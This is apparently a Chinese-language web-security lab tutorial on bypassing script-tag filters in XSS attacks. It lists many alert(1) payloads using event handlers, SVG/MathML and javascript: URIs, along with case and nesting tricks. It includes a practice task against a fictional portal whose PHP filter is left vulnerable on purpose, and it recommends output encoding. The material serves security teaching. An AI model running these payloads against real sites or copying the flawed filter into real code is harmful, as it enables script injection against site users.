📖 教程:标签绕过技术

原理

许多 WAF(Web Application Firewall)只拦截 <script> 标签, 但 HTML 规范中大量标签支持事件处理器,都可以执行 JavaScript。

核心思想:不使用 <script> 标签,利用其他 HTML 标签的事件属性执行 JavaScript。

可执行 JS 的替代标签

图片类标签:

<img src=x onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<marquee onstart=alert(1)></marquee>

SVG / MathML:

<svg onload=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s></svg>
<math><maction actiontype="statusline#x" xlink:href="javascript:alert(1)">CLICK</maction></math>

HTML5 标签:

<details open ontoggle=alert(1)></details>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<source src=x onerror=alert(1)>

传统标签:

<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>

为什么简单过滤不够?

  • HTML 规范支持数百个事件属性onloadonerroronfocusonmouseoverontoggle
  • SVG 和 MathML 有自己的命名空间和事件模型
  • 大小写变体:<SCRIPT><Script><sCrIpT>
  • 嵌套绕过:<scrscriptipt> 删除后变成 <script>

正确的防御方式

不应该只过滤特定标签,而应该对所有输出进行HTML 实体编码

// 错误:只过滤 script 标签
$input = str_replace('<script>', '', $input);

// 正确:对所有特殊字符编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

🎯 练习:绕过标签过滤

◈ 渗透任务 WAF 标签过滤绕过测试 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 SecureWeb 企业门户 (portal.secureweb.example.com) 委托方 SecureWeb 部署了 WAF 拦截 <script> 标签,红队需要验证 WAF 有效性 任务目标 绕过 WAF 的 script 标签黑名单,找到替代标签执行 JS
  • 不使用 <script> 标签触发 XSS
  • 使用至少两种替代标签成功注入
目标:SecureWeb 企业门户 (portal.secureweb.example.com) 的输入框 WAF 会拦截 <script> 标签。 你需要找到替代标签来执行 alert(1)
重置
在输入框中输入内容,点击"提交"查看结果...
📄 查看漏洞源码 (PHP)
<?php $input = $_GET['input']; // WAF:过滤 <script> 标签 $input = str_replace('<script>', '', $input); $input = str_replace('</script>', '', $input); // 输出(以为安全了,实际仍有漏洞) echo $input; ?>
🔒 过滤状态:WAF 拦截 <script></script> 标签(大小写不敏感)。 其他 HTML 标签及事件处理器未被过滤